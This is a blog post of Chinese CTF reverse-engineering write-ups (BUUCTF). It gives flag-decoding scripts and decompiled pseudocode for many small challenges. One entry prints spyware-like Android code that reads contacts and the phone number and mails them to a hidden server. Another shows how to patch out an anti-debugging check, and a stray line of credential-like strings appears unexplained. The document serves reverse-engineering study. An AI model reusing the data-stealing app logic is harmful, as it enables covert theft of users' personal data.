buuctf-reverse write-ups (1)

buu001-easyre

直接用IDA打开,main函数里面就是。

buu002-reverse1

用IDA打开通过输出字符串定位到输入部分,flag在字符串中直接就有。

buu003-reverse2

用IDA打开,这是一个Linux ELF文件,在main函数中首先把flag里面的i和r替换成1就行了。

buu004-内涵的软件

用IDA打开,把DBAPP改成flag就行了。

buu005-新年快乐

这道题是使用了UPX进行了压缩加壳,只需要用UPX工具解压即可得到flag。

UPX使用方法:

PS E:\...\upx-4.0.2-win64> .\upx.exe
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2023
UPX 4.0.2       Markus Oberhumer, Laszlo Molnar & John Reiser   Jan 30th 2023

Usage: upx [-123456789dlthVL] [-qvfk] [-o file] file..

Commands:
  -1     compress faster                   -9    compress better
  -d     decompress                        -l    list compressed file
  -t     test compressed file              -V    display version number
  -h     give more help                    -L    display software license
Options:
  -q     be quiet                          -v    be verbose
  -oFILE write output to 'FILE'
  -f     force compression of suspicious files
  -k     keep backup files
file..   executables to (de)compress

Type 'upx --help' for more detailed help.

UPX comes with ABSOLUTELY NO WARRANTY; for details visit https://upx.github.io

buu006-xor

这道题进行了一个简单的异或操作,将前一个字符与后一个字符异或。

解密脚本:

cipher = '\x66\x0A\x6B\x0C\x77\x26\x4F\x2E\x40\x11\x78\x0D\x5A\x3B\x55\x11\x70\x19\x46\x1F\x76\x22\x4D\x23\x44\x0E\x67\x06\x68\x0F\x47\x32\x4F'
plaintext = ['f']

for i in range(len(cipher) - 1):
    plaintext.append(chr(ord(cipher[i]) ^ ord(cipher[i+1])))
    
print(''.join(plaintext))

buu007-helloword

这道题是一个apk文件的逆向,可以使用Jadx的Intellij插件进行反编译,直接获得flag。

buu008-reverse3

这道题是一个base64编码程序,实际上不需要对代码进行全部逆向分析,只需要通过动态调试即可得知。在编码之后,程序还进行了另一种处理:对索引为x的字节的ASCII码加x,然后与事先保存的字符串比较。可写出下列解密程序:

import base64

cipher = 'e3nifIH9b_C@n@dH'
dec_1 = []

for i in range(len(cipher)):
    dec_1.append(chr(ord(cipher[i]) - i))
    
dec_1 = ''.join(dec_1)
    
print(base64.b64decode(dec_1))

buu009-不一样的flag

走迷宫。按照0的路线走即可。

#1111
01000
01010
00010
1111#

buu010-SimpleRev

一个简单的转换。python脚本:

key = 'adsfkndcls'
text = 'killshadow'
answer = [] * 10
k = 10
for i in range(10):
	for j in range(128):
		if not (0x40 < j <= 0x40 + 26 or 0x60 < j <= 0x60 + 26):
			continue
		if chr((j - 39 - ord(key[k % 10]) + 97) % 26 + 97) == text[i] and (0x40 < j <= 0x40+26):
			answer.append(chr(j))
			k += 1
			break
print(''.join(answer))

buu011-Java逆向解密

用Intellij反编译class文件,一个简单的字节加密。

buu012-[GXYCTF2019]luck_guy

脚本:

former = 'GXY{do_not_'
x = 'icug`of\x7F'
t = [] * 8
for i in range(len(x)):
	if(i % 2 == 1):  
		t.append(chr(ord(x[i]) - 2))
	else:
		t.append(chr(ord(x[i]) - 1))
print(former + ''.join(t))

buu013-[BJDCTF2020]JustRE

要点19999次才能获得flag,用Shift+F12直接找到flag。

buu014-刮开有奖

这道题的DialogFunc函数里面有一个sub_4010F0函数,里面对一个长度为10的数组进行了处理,直接把伪代码拷到Dev里面执行得到结果,下面还有一个是base64编码,然后可以根据判断条件把flag拼出来。

buu015-简单注册器

直接用jadx打开,把flag生成的代码直接复制到Java执行即可。

buu016-[GWCTF 2019]pyre

这是一个pyc的python字节码逆向,安装undecompyle进行反编译。
undecompyle x.pyc > x.py
然后逆向解密即可。

buu017-[ACTF新生赛2020]easyre

又是一个UPX加壳,直接脱壳逆向。

x = "*F'\"N,\"(I?+@"
data = '~}|{zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+*)(\'&%$# !"'
answer = ['A', 'C', 'T', 'F', '{']
for i in range(12):
	for j in range(1, len(data) + 1):
		if x[i] == data[j - 1]:
			answer.append(chr(j))
answer.append('}')
print(''.join(answer))

buu018-findit

jadx反编译。

public class main {  
    public static void main(String[] args) {  
        final char[] a = {'T', 'h', 'i', 's', 'I', 's', 'T', 'h', 'e', 'F', 'l', 'a', 'g', 'H', 'o', 'm', 'e'};  
		 final char[] b = {'p', 'v', 'k', 'q', '{', 'm', '1', '6', '4', '6', '7', '5', '2', '6', '2', '0', '3', '3', 'l', '4', 'm', '4', '9', 'l', 'n', 'p', '7', 'p', '9', 'm', 'n', 'k', '2', '8', 'k', '7', '5', '}'};  
		 char[] x = new char[17];  
		 char[] y = new char[38];  
		 for (int i = 0; i < 17; i++) {  
		            if ((a[i] < 'I' && a[i] >= 'A') || (a[i] < 'i' && a[i] >= 'a')) {  
		                x[i] = (char) (a[i] + 18);  
		  } else if ((a[i] < 'A' || a[i] > 'Z') && (a[i] < 'a' || a[i] > 'z')) {  
		                x[i] = a[i];  
		  } else {  
		                x[i] = (char) (a[i] - '\b');  
		  }  
		        }  
		        for (int i2 = 0; i2 < 38; i2++) {  
		            if ((b[i2] < 'A' || b[i2] > 'Z') && (b[i2] < 'a' || b[i2] > 'z')) {  
		                y[i2] = b[i2];  
		  } else {  
		                y[i2] = (char) (b[i2] + 16);  
		 if ((y[i2] > 'Z' && y[i2] < 'a') || y[i2] >= 'z') {  
		                    y[i2] = (char) (y[i2] - 26);  
		  }  
		            }  
		        }  
	        System.out.println(y);  
	  }  
}

buu019-rsa

一道crypto的题,用yafu可以分解他给的公钥,然后解密。

buu020-[ACTF新生赛2020]rome

首先用UPX脱壳,然后逆向就行了,就是一个凯撒加密。

tar = 'Qsw3sj_lz4_Ujw@l'
answer = []
for i in range(16):
	for j in range(128):
		k = 0
		if 64 < j <= 90:
			k = (j - 51) % 26 + 65
		elif 96 < j <= 122:
			k = (j - 79) % 26 + 97
		else:
			k = j
		if k == ord(tar[i]):
			answer.append(chr(j))
			break
print(''.join(answer))

buu021-[FlareOn4]login

还是凯撒加密,不过是JS代码审计。位移13位。

buu022-CrackRTF

这题进行了2次哈希,第1次是SHA哈希,第2次是MD5哈希。第1次只能输入整数,第2次输入不限,对第2次输入的暴力可能需要的时间比较长。

buu023-[WUSTCTF2020]level1

直接逆,不解释了。

output = [198, 232, 816, 200, 1536, 300, 6144, 984, 51200, 570, 92160, 1200, 565248, 756, 1474560, 800, 6291456, 1782, 65536000]
for i in range(len(output)):
	if i & 1 == 0:
		output[i] >>= i+1
	else:
		output[i] //= i+1
print(''.join([chr(o) for o in output]))

buu024-[GUET-CTF2019]re

这题可以使用Detect It Easy工具检测到UPX加壳,然后脱壳逆向。
不知道为什么flag里面有一个字节不给,还得爆破。
flag{e165421110ba03099a1c039337}

buu025-[2019红帽杯]easyRE

这题是一个Linux静态编译的文件,关键就是要理清楚一些库函数的功能。

  while ( v3 < v5 - 2 )
  {
    *(_BYTE *)(v7 + v3) = alphabet[(unsigned __int8)a1[v4] >> 2];
    *(_BYTE *)(v7 + v3 + 1LL) = alphabet[(16 * (a1[v4] & 3)) | ((unsigned __int8)a1[v4 + 1] >> 4)];
    *(_BYTE *)(v7 + v3 + 2LL) = alphabet[(4 * (a1[v4 + 1] & 0xF)) | ((unsigned __int8)a1[v4 + 2] >> 6)];
    *(_BYTE *)(v7 + v3 + 3LL) = alphabet[a1[v4 + 2] & 0x3F];
    v4 += 3;
    v3 += 4;
  }

sub_0x400E44函数里面找到上面这块代码,明显能看出是用来base64编码的,因此改名为base64_encode

然后在main函数里面找到这段代码:

  v18 = __readfsqword(0x28u);
  qmemcpy(secret, "Iodl>Qnb(ocy", 12);
  secret[12] = 0x7F;
  qmemcpy(&secret[13], "y.i", 3);
  secret[16] = 0x7F;
  qmemcpy(&secret[17], "d`3w}wek9{iy=~yL@EC", 19);
  memset(input, 0, sizeof(input));
  read(0LL, input, 0x25uLL);
  input[36] = 0;
  LODWORD(v0) = strlen(input);
  if ( v0 == 36 )
  {
    for ( i = 0; ; ++i )
    {
      LODWORD(v1) = strlen(input);
      if ( i >= v1 )
        break;
      if ( (unsigned __int8)(input[i] ^ i) != secret[i] )
        goto LABEL_9;
    }
	...
  }

就是一个字符串解密,用下面的脚本进行解密:

secret = 'Iodl>Qnb(ocy\x7fy.i\x7fd`3w}wek9{iy=~yL@EC'
plaintext = ''

for i in range(len(secret)):
    plaintext += chr(ord(secret[i]) ^ i)

print(plaintext)

得到字符串为:Info:The first four chars are flag

这个是第一步,然后还有第二步,第二步看似是一个base64,编码编了10层之后出来一个网址,但这个网址是骗人的,flag在其他的地方。

https://bbs.kanxue.com/thread-254172.htm

在0x6CC0A0处还发现了一个可疑的东西,可能与flag有关系。这个东西在sub_400D35里面被引用了。

unsigned __int64 sub_400D35()
{
  unsigned __int64 result; // rax
  unsigned int v1; // [rsp+Ch] [rbp-24h]
  int i; // [rsp+10h] [rbp-20h]
  int j; // [rsp+14h] [rbp-1Ch]
  unsigned int v4; // [rsp+24h] [rbp-Ch]
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  v1 = time(0LL) - qword_6CEE38;
  for ( i = 0; i <= 1233; ++i )
  {
    sub_40F790(v1);
    sub_40FE60();
    sub_40FE60();
    v1 = sub_40FE60() ^ 0x98765432;
  }
  v4 = v1;
  if ( ((unsigned __int8)v1 ^ real_secret[0]) == 'f' && (HIBYTE(v4) ^ real_secret[3]) == 'g' )
  {
    for ( j = 0; j <= 24; ++j )
      sub_410E90((unsigned __int8)(real_secret[j] ^ *((_BYTE *)&v4 + j % 4)));
  }
  result = __readfsqword(0x28u) ^ v5;
  if ( result )
    sub_444020();
  return result;
}

这里面判断了第一个字母和第四个字母,由此可以发现这个加密的原理。

__int64 sub_4009AE()
{
  __int64 result; // rax

  result = time(0LL);
  qword_6CEE38 = result;
  return result;
}

qword_6CEE38这个变量只在两个地方被引用,发现其值就是time(0),因此v1的值应该是0才对。实际上我们根本就不用管上面的逻辑,看if语句就可以知道v1和v4的值应该是什么。

v1=0x26,HIBYTE(v4)=0x31。

后面有个for循环,以4个字节为循环,将real_secret中的内容与v4异或。因为前4个字节是flag,所以v4的值实际上可以获取到,为0x31415926,还是个挺吉利的数字。然后我们就可以写脚本拿到真正的flag了:

secret = '@5 V]\x18"E\x17/$nb<\x27THl$nr<2E['
mask = '\x26\x59\x41\x31'
plaintext = ''

for i in range(len(secret)):
    plaintext += chr(ord(secret[i]) ^ ord(mask[i%4]))

print(plaintext)

拿到flag:flag{Act1ve_Defen5e_Test}

buu026-[MRCTF2020]Transform

这题逻辑挺简单,就是一个简单的加密:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char Str[104]; // [rsp+20h] [rbp-70h] BYREF
  int j; // [rsp+88h] [rbp-8h]
  int i; // [rsp+8Ch] [rbp-4h]

  sub_402230();
  printf("Give me your code:\n");
  scanf("%s", Str);
  if ( strlen(Str) != 33 )
  {
    printf("Wrong!\n");
    system("pause");
    exit(0);
  }
  for ( i = 0; i <= 32; ++i )
  {
    input[i] = Str[mask[i]];
    input[i] ^= LOBYTE(mask[i]);
  }
  for ( j = 0; j <= 32; ++j )
  {
    if ( cipher[j] != input[j] )
    {
      printf("Wrong!\n");
      system("pause");
      exit(0);
    }
  }
  printf("Right!Good Job!\n");
  printf("Here is your flag: %s\n", Str);
  system("pause");
  return 0;
}

直接上脚本:

mask = [9, 0x0a, 0x0f, 0x17, 7, 0x18, 0x0c, 6, 1, 0x10, 3, 0x11, 0x20, 0x1d, 0x0b, 0x1e, 0x1b, 0x16, 4, 0x0d, 0x13, 0x14, 0x15, 2, 0x19, 5, 0x1f, 8, 0x12, 0x1a, 0x1c, 0x0e, 0]

cipher = 'gy{\x7fu+<RSyW^]B{-*fB~LWyAk~e<\\EobM'
plaintext = ['a'] * len(mask)

for i in range(len(mask)):
    c = ord(cipher[i])
    c ^= mask[i]
    plaintext[mask[i]] = chr(c)
    
print(''.join(plaintext))

结果MRCTF{TrEnsp0sltiON_Clph3r_1s_3z},buu平台要改成flag开头。

buu027-[WUSTCTF2020]level2

这题用detect it easy扫出来也是upx加壳的,脱一下就拿到了。

buu028-[SUCTF2019]SignIn

这题就是纯纯的密码题,把输入转成大数i,给e、m、r,求i使得(i^e)%m=r。复习一下残缺不全的密码学知识…

根据欧拉定理: x φ ( y ) ≡ 1 ( m o d y ) x^{\varphi(y)}\equiv 1\pmod y xφ(y)1(mody)

模数的两个因数分别为282164587459512124844245113950593348271366669102002966856876605669837014229419

e d ≡ 1 ( m o d ( u − 1 ) ( v − 1 ) ) ed\equiv 1\pmod {(u-1)(v-1)} ed1(mod(u1)(v1)),用扩展欧几里得来算。

import gmpy2

if __name__ == '__main__':
    m = 103461035900816914121390101299049044413950405173712170434161686539878160984549
    u = 282164587459512124844245113950593348271
    v = 366669102002966856876605669837014229419
    e = 65537
    cipher = 0xad939ff59f6e70bcbfad406f2494993757eee98b91bc244184a377520d06fc35

    d = gmpy2.invert(e, (u-1)*(v-1))
    print(d)
    print(bytes.fromhex(hex(pow(cipher, d, m))[2:]).decode())

suctf{Pwn_@_hundred_years}

FSSID:HIGDDEN_HOHTPOT PPASS:L0GIC_ANA1YSIS_CAN_FOR_FUN FSSID:HIGDDEN_HOHTPOT PPASS:L0QGIC_ANAR1YSIS_CSAN_FOR_TFUN

buu029-[ACTF新生赛2020]usualCrypt

这题实现了一个类似于base64的加密算法,3个字节输入,4个字节输出。从输出可知一共有27字节输入。进行类base64加密之后又翻转了大小写。

cipher = 'zMXHz3TIgnxLxJhFAdtZn2fFk3lYCrtPC2l9'
alphabet = 'ABCDEFQRSTUVWXYPGHIJKLMNOZabcdefghijklmnopqrstuvwxyz0123456789+/'
plaintext = ''

def find_char(c):
    for i in range(len(alphabet)):
        if c == alphabet[i]:
            return i
    return -1

if __name__ == '__main__':
    '''
    input[0~2], output[0~3]
    (input[0]>>2) & 0x3F -> output[0]
    16 * (input[0] & 3) + (input[1] >> 4) & 0xF -> output[1]
    4 * (input[1] & 0xF) + (input[2] >> 6) & 3 -> output[2]
    input[2] & 0x3F -> output[3]
    
    input[0] = output[0] << 2 + output[1] & 3
        0   1   2   3   4   5
    0   0.2 0.3 0.4 0.5 0.6 0.7
    1   1.4 1.5 1.6 1.7 0.0 0.1
    2   2.6 2.7 1.0 1.1 1.2 1.3
    3   2.0 2.1 2.2 2.3 2.4 2.5
    '''
    cipher2 = ''
    for i in cipher:
        if i.isalpha():
            cipher2 += chr(ord(i) ^ 0x20)
        else:
            cipher2 += i
    cipher = cipher2
    print(cipher2)
    for i in range(len(cipher) // 4):
        plaintext += chr((find_char(cipher[i * 4]) << 2) + (find_char(cipher[i * 4 + 1]) >> 4))
        plaintext += chr(((find_char(cipher[i * 4 + 1]) & 0xF) << 4) + (find_char(cipher[i * 4 + 2]) >> 2))
        plaintext += chr(((find_char(cipher[i * 4 + 2]) & 0x3) << 6) + find_char(cipher[i * 4 + 3]))
    print(plaintext)

flag{bAse64_h2s_a_Surprise}

buu030-[HDCTF2019]Maze

这道题首先用upx脱壳,然后发现操作很简单,就是wasd走迷宫,但是不要忽略程序里面有一个70字节的地图,如果不给地图直接走迷宫有很多种走法能到终点,但flag只有一个,所以必须按照迷宫的走法来走。

*******+**
******* **
****    **
**   *****
** **F****
**    ****
**********

flag{ssaaasaassdddw}

buu031-[MRCTF2020]Xor

一个简单的异或。

cipher = 'MSAWB~FXZ:J:`tQJ"N@ bpdd}8g'
plaintext = ''
for i in range(0x1B):
    plaintext += chr(ord(cipher[i]) ^ i)
print(plaintext)

MRCTF{@_R3@1ly_E2_R3verse!}

buu032-[MRCTF2020]hello_world_go

开盖即送,但这是一个go写的程序,也值得进行分析。这里保留这个程序待后续分析。

flag{hello_world_gogogo}

buu033-Youngter-drive

这个程序首先一开始打不开,说缺少MSVCR100D.dll,这个在网上下一个就行了。然后双击一打开就死掉,用命令行打开发现会输出两个WARNING字符串,然后进入IDA查找相关字符串:

BOOL sub_411460()
{
  size_t v0; // eax
  BOOL i; // [esp+D0h] [ebp-24Ch]
  HANDLE hSnapshot; // [esp+DCh] [ebp-240h]
  PROCESSENTRY32W pe; // [esp+E8h] [ebp-234h] BYREF

  pe.dwSize = 556;
  hSnapshot = j_CreateToolhelp32Snapshot(2u, 0);
  for ( i = j_Process32FirstW(hSnapshot, &pe); i; i = j_Process32NextW(hSnapshot, &pe) )
  {
    v0 = wcslen(pe.szExeFile);
    wcslwr_s(pe.szExeFile, v0 + 1);
    if ( !wcscmp(pe.szExeFile, L"ollyice.exe") )
    {
      printf("///WARNING///\n");
      exit(0);
    }
    if ( !wcscmp(pe.szExeFile, L"ollydbg.exe") )
    {
      printf("///\nWARNING\n///\n");
      exit(0);
    }
    if ( !wcscmp(pe.szExeFile, L"peid.exe") )
    {
      printf("///\nWARNING\n///\n");
      exit(0);
    }
    if ( !wcscmp(pe.szExeFile, L"ida.exe") )
    {
      printf("///\nWARNING\n///\n");
      exit(0);
    }
    if ( !wcscmp(pe.szExeFile, L"idaq.exe") )
    {
      printf("///\nWARNING\n///\n");
      exit(0);
    }
  }
  return CloseHandle(hSnapshot);
}

在这个函数里面可以发现这个程序有反调试的机制,CreateToolhelp32Snapshot这个WinAPI用于获取指定进程以及这些进程使用的堆、模块和线程的快照,参数传2表示TH32CS_SNAPPROCESS,即系统中快照中的所有进程,他现在拿到了所有进程的快照,然后就一个个遍历。Process32FirstW是返回系统快照中遇到的第一个进程的信息,Process32NextW就是获取下一个进程信息。wcslen是宽字符个数,wcslwr_s是把字符串大写转小写,是wchar_string_lower的缩写。然后下面判断如果进程名是ollyice等5个用于程序分析和调试的程序就会输出WARNING然后退出。一开始程序中一共打印出了2个WARNING,这里只打印出来一个,首先把这个地方的反调试给禁用了再看另外一个在哪。禁用的最简单方式就是全改成nop指令。框选这个函数里面除了retn指令之外的所有指令,然后用keypatch的fill range功能就能一键修改成nop

然后程序就能够正常跑起来了:

PS D:\CTF-reverse\buu033-Youngter-drive> .\upxout.exe
1111111111111111111111111111111111111111111111111111111111111111111111111111111
*******************************************************************************
**************             ****************************************************
**************   ********   *********************                 *************
**************   *********  *********************   ***************************
**************   *********  *********************   ***************************
**************   *********  *********************   ***************************
**************   *******   **********************   ***************************
**************   ****   *************************   ***************************
**************   *    ***************************                **************
**************   ***    *************************   ***************************
**************   ******   ***********************   ***************************
**************   ********   *********************   ***************************
**************   **********   *******************   ***************************
**************   ***********    *****************                 *************
*******************************************************************************
1111111111111111111111111111111111111111111111111111111111111111111111111111111
input flag:

找到打印这个banner的函数在sub_411BD0,这个函数只有一个scanf把用户输入保存到了一个全局变量Source里面。这个函数是由main函数直接调用的:

int __cdecl main_0(int argc, const char **argv, const char **envp)
{
  HANDLE Thread; // [esp+D0h] [ebp-14h]
  HANDLE hObject; // [esp+DCh] [ebp-8h]

  j_banner();
  ::hObject = CreateMutexW(0, 0, 0);
  j_strcpy(Destination, &Source);
  hObject = CreateThread(0, 0, StartAddress, 0, 0, 0);
  Thread = CreateThread(0, 0, sub_41119F, 0, 0, 0);
  CloseHandle(hObject);
  CloseHandle(Thread);
  while ( dword_418008 != -1 )
    ;
  sub_411190();
  CloseHandle(::hObject);
  return 0;
}

CreateMutexW创建一个互斥锁,CreateThread创建一个线程。这里查资料发现CreateThread返回的是一个线程句柄,之后是可以立即通过CloseHandle关闭句柄的,因为线程句柄和线程本身的生命周期不同,线程句柄被关闭并不意味着线程立即结束,所以如果一个线程不需要任何干预,在创建之后就关闭句柄即可。第一个线程的函数如下:

void __stdcall __noreturn StartAddress_0(int a1)
{
  while ( 1 )
  {
    WaitForSingleObject(hObject, 0xFFFFFFFF);
    if ( bytes_remained > -1 )
    {
      sub_41112C(&Source, bytes_remained);
      --bytes_remained;
      Sleep(0x64u);
    }
    ReleaseMutex(hObject);
  }
}
// positive sp value has been detected, the output may be wrong!
void __cdecl encrypter(char *buffer, int arg)
{
  char byte; // [esp+D3h] [ebp-5h]

  byte = buffer[arg];
  if ( (byte < 'a' || byte > 'z') && (byte < 'A' || byte > 'Z') )
    exit(0);
  if ( byte < 'a' || byte > 'z' )
    buffer[arg] = Palphabet[0][buffer[arg] - 0x26];
  else
    buffer[arg] = Palphabet[0][buffer[arg] - 0x60];
}

其中sub_41112C中有这一段处理,规定所有输入只能为字母,然后进行了处理。而另一个线程的代码如下:

void __stdcall __noreturn sub_411B10(int a1)
{
  while ( 1 )
  {
    WaitForSingleObject(hObject, 0xFFFFFFFF);
    if ( bytes_remained > -1 )
    {
      Sleep(100u);
      --bytes_remained;
    }
    ReleaseMutex(hObject);
  }
}

这两个线程执行完之后,后面进行一次字符串比较,将输入处理后的字符串与TOiZiZtOrYaToUwPnToBsOaOapsyS进行非直接比较。

int sub_411880()
{
  int i; // [esp+D0h] [ebp-8h]

  for ( i = 0; i < 29; ++i )
  {
    if ( *(&Source + i) != off_418004[i] )
      exit(0);
  }
  return printf("\nflag{%s}\n\n", Destination);
}

直接上脚本:

alphabet = 'QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm'
cipher = 'TOiZiZtOrYaToUwPnToBsOaOapsyS'
cipher1 = ''

def find_char(c):
    for i in range(len(alphabet)):
        if c == alphabet[i]:
            return i
    return -1

for i in range(29):
    if i % 2 == 0:
        cipher1 += cipher[i]
        continue
    if find_char(cipher[i]) <= 26:
        cipher1 += chr(find_char(cipher[i]) + 0x60)
    else:
        cipher1 += chr(find_char(cipher[i]) + 0x26)

print(cipher1)

求出来一个高度疑似flag,但是交上去不对:flag{ThisisthreadofwindowshahaIsES}。于是彻底禁了反调试之后开调。发现输入的字符串处理完之后是这样:

ThisisthreadofwindowshahaIsES
xhPsPsXhLeWdHfBiGdHwZhWhWIZEz

可见,第2、4、6、…个字符不变,那到底是什么地方出了问题呢?我换了一下处理的奇偶数,然后程序能输出flag,但是那个东西就纯粹拼不出来什么单词了,后来查wp才发现最后还有一位,那这就不是我的问题了。flag{ThisisthreadofwindowshahaIsESE}

buu034-[WUSTCTF2020]level3

一个换了表的base64,看到程序里面有个O_OLookAtYou函数获取换表操作,换完直接解码。

wctf2020{Base64_is_the_start_of_reverse}

buu035-相册

一道Android逆向,用jadx打开后首先看AndroidMenifest.xml。

<activity android:label="@string/app_name" android:icon="@drawable/iocn" android:name="cn.baidujiayuan.ver5304.C1">
  <intent-filter>
    <category android:name="android.intent.category.LAUNCHER"/>
    <action android:name="android.intent.action.MAIN"/>
  </intent-filter>
</activity>

找到上面这个项,这里的action是android.intent.action.MAIN,因此确定了apk的入口是cn.baidujiayuan.ver5304.C1

    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        getPackageManager().setComponentEnabledSetting(getComponentName(), 2, 1);
        A2.log("安装后执行这个");
        startService(new Intent(this, M2.class));
        readContacts();
        SmsManager.getDefault();
        ((TelephonyManager) getSystemService("phone")).getLine1Number();
        A2.sendMsg(C2.phoneNumber, A2.getInstallFlag(this, ""));
        try {
            new SmsTas("", this).execute(new Integer[0]);
        } catch (Exception e) {
            A2.log("邮件发送错误");
        }
        try {
            new MailTask("", this).execute(new Integer[0]);
        } catch (Exception e2) {
            A2.log("邮件发送错误");
        }
        check();
    }

这里面有一个sendMsg方法,疑似是发送邮件。

    public static int sendMailByJavaMail(String mailto, String title, String mailmsg) {
        if (!debug) {
            Mail m = new Mail(C2.MAILUSER, C2.MAILPASS);
            m.set_host(C2.MAILHOST);
            m.set_port(C2.PORT);
            m.set_debuggable(true);
            m.set_to(new String[]{mailto});
            m.set_from(C2.MAILFROME);
            m.set_subject(title);
            m.setBody(mailmsg);
            try {
                if (m.send()) {
                    Log.i("IcetestActivity", "Email was sent successfully.");
                } else {
                    Log.i("IcetestActivity", "Email was sent failed.");
                }
            } catch (Exception e) {
                Log.e("MailApp", "Could not send email", e);
            }
        }
        return 1;
    }

这是在A2中发现的发送邮件的方法,其中有个MAILSERVER,定位一下:

public static final String MAILSERVER = Base64.decode(NativeMethod.m());

是个Base64解码,不过解码的东西是NativeMethod.m()

在lib目录里面的libcore.so里面找到了东西。能找到Java_com_net_cn_NativeMethod_m这个函数,然后返回了一个base64值,解码即可。

buu036-[FlareOn4]IgniteMe

简单的windows x86程序,一个加密

cipher = [0x0D, 0x26, 0x49, 0x45, 0x2A, 0x17, 0x78, 0x44, 0x2B, 0x6C, 0x5D, 0x5E, 0x45, 0x12, 0x2F, 0x17, 0x2B, 0x44, 0x6F, 0x6E, 0x56, 0x9, 0x5F, 0x45, 0x47, 0x73, 0x26, 0x0A, 0x0D, 0x13, 0x17, 0x48, 0x42, 0x1, 0x40, 0x4D, 0x0C, 0x2, 0x69, 0x0]

crc = 4
plaintext = [0] * 40
idx = 39

while idx >= 0:
	plaintext[idx] = crc ^ cipher[idx]
	crc = plaintext[idx]
	idx -= 1
	
for i in plaintext[:-1]:
	print(chr(i), end="")

flag{R_y0u_H0t_3n0ugH_t0_1gn1t3@flare-on.com}

buu037-[WUSTCTF2020]Cr0ssfun

wctf2020{cpp_@nd_r3verse_@re_fun}

  • 9
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值